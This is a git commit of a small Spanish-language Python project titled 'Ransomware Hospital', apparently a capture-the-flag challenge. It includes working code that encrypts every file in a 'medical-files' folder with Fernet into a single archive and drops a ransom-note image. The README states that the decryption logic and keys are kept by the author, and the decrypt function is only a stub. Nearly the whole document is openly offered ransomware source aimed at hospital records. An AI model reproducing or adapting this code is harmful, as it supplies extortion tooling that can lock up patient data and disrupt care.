Initial commit - Source code

This commit is contained in:
2026-03-17 19:54:11 +00:00
commit e5fcbc24d5
9 changed files with 220 additions and 0 deletions

64
README.md Normal file
View File

@@ -0,0 +1,64 @@
# Ransomware Hospital
<p align="center">
<img src="./assets/skull.png" width="256">
</p>
<p align="center">
<img src="https://img.shields.io/badge/version-1.0-red">
<img src="https://img.shields.io/badge/Creado_por-Louden-black">
</p>
## Contenido
```
├── assets
│ ├── pwned.png
│ └── skull.png
├── ransom.py
├── README.md
├── requirements.txt
└── src
├── decrypt.py
├── encrypt.py
├── __init__.py
└── prompt.py
```
---
## Estructura
### `ransom.py`
Archivo principal de ejecución.
### `src/encrypt.py`
Contiene la lógica de cifrado de archivos.
### `src/decrypt.py`
Contiene la lógica de descifrado. (Me la reservo para mí junto con las claves)
### `src/prompt.py`
Nota de rescate.
## Instalación
### Clonar proyecto
```sh
git clone http://challs.caliphallabs.com:18971/louden/ransomware-hospital
```
### Instalar dependencias:
```sh
pip install -r requirements.txt
```
---
## Uso
```sh
python3 ransom.py
```

BIN
assets/pwned.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 126 KiB

BIN
assets/skull.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 91 KiB

77
ransom.py Normal file
View File

@@ -0,0 +1,77 @@
import os
import sys
from src import encrypt_folder, decrypt_and_unpack, copy_prompt_image
def banner():
print(r""" uu$$$$$$$$$$$uu
uu$$$$$$$$$$$$$$$$$uu
u$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$* *$$$* *$$$$$$u
*$$$$* u$u $$$$*
$$$u u$u u$$$
$$$u u$$$u u$$$
*$$$$uu$$$ $$$uu$$$$*
*$$$$$$$* *$$$$$$$*
u$$$$$$$u$$$$$$$u
u$*$*$*$*$*$*$u
uuu $$u$ $ $ $ $u$$ uuu
u$$$$ $$$$$u$u$u$$$ u$$$$
$$$$$uu *$$$$$$$$$* uu$$$$$$
u$$$$$$$$$$$uu ***** uuuu$$$$$$$$$
$$$$***$$$$$$$$$$uuu uu$$$$$$$$$***$$$*
*** **$$$$$$$$$$$uu **$***
uuuu **$$$$$$$$$$uuu
u$$$uuu$$$$$$$$$uu **$$$$$$$$$$$uuu$$$
$$$$$$$$$$**** **$$$$$$$$$$$*
*$$$$$* **$$$$**
$$$* $$$$*
_ _ _ _ _
| | | | (_) | | |
| |__| | ___ ___ _ __ _| |_ __ _| |
| __ |/ _ \/ __| '_ \| | __/ _` | |
| | | | (_) \__ \ |_) | | || (_| | |
|_|__|_|\___/|___/ .__/|_|\__\__,_|_|
| |
_____ |_|
| __ \
| |__) |__ _ _ __ _ __ ___ _ __ ___
| _ // _` | '_ \/ __|/ _ \| '_ ` _ \
| | \ \ (_| | | | \__ \ (_) | | | | | |
|_| \_\__,_|_| |_|___/\___/|_| |_| |_|
by Louden
""")
def main():
while True:
banner()
print("1. Cifrar archivos médicos")
print("2. Descifrar archivos usando 'key.txt'")
print("3. Salir")
choice = input("\nSelecciona una opción [1-3]: ")
if choice == "1":
print("\n[*] Inicializando el proceso de cifrado...")
encrypt_folder("medical-files", "files.enc")
copy_prompt_image()
elif choice == "2":
print("\n[*] Inicializando el proceso de descifrado...")
decrypt_and_unpack("files.enc", "key.txt", "restored_medical_files")
elif choice == "3":
print("\nSaliendo...")
break
else:
print("\n[-] Opción inválida. Prueba de nuevo")
input("\nPulsa Enter para vovler al menú")
os.system('clear')
if __name__ == "__main__":
main()

1
requirements.txt Normal file
View File

@@ -0,0 +1 @@
cryptography==42.0.5

6
src/__init__.py Normal file
View File

@@ -0,0 +1,6 @@
import os
import sys
from .encrypt import encrypt_folder
from .decrypt import decrypt_and_unpack
from .prompt import copy_prompt_image

8
src/decrypt.py Normal file
View File

@@ -0,0 +1,8 @@
import os
import re
import struct
from cryptography.fernet import Fernet
def decrypt_and_unpack(input_file, key_file, output_folder):
print(f"\n Error: No se cuentra la funcionalidad de descifrado")
return

44
src/encrypt.py Normal file
View File

@@ -0,0 +1,44 @@
import os
import struct
from cryptography.fernet import Fernet
def generate_key():
key = Fernet.generate_key()
with open("key.txt", "wb") as key_file:
key_file.write(key)
return key
def encrypt_folder(folder_name, output_file):
if not os.path.exists(folder_name):
print(f"Error: Carpeta '{folder_name}' no encontrada.")
return
key = generate_key()
cipher = Fernet(key)
print(f"Cifrando carpeta: {folder_name}...")
with open(output_file, "wb") as f_out:
for root, dirs, files in os.walk(folder_name):
for file in files:
path = os.path.join(root, file)
with open(path, "rb") as f_in:
file_content = f_in.read()
header = f"FILE_NAME:{file}CONTENT:".encode()
footer = b"END_FILE"
payload = header + file_content + footer
encrypted_block = cipher.encrypt(payload)
f_out.write(struct.pack(">I", len(encrypted_block)))
f_out.write(encrypted_block)
print(f" [+] Archivo cifrado: {file}")
print(f"\nCarpeta cifrada en '{output_file}'")
print("Key utilizada guardada en 'key.txt'.")
if __name__ == "__main__":
encrypt_folder("medical-files", "files.enc")

20
src/prompt.py Normal file
View File

@@ -0,0 +1,20 @@
import os
import shutil
def copy_prompt_image(destination_path="."):
source = os.path.join("assets", "pwned.png")
destination = os.path.join(destination_path, "prompt.png")
try:
if os.path.exists(source):
shutil.copy2(source, destination)
print(f"[+] Nota Ransom copiada en {destination_path}")
else:
print(f"[-] Error: Imagen '{source}' no encontrada. Asegúrate de que exista la carpeta assets/.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
copy_prompt_image()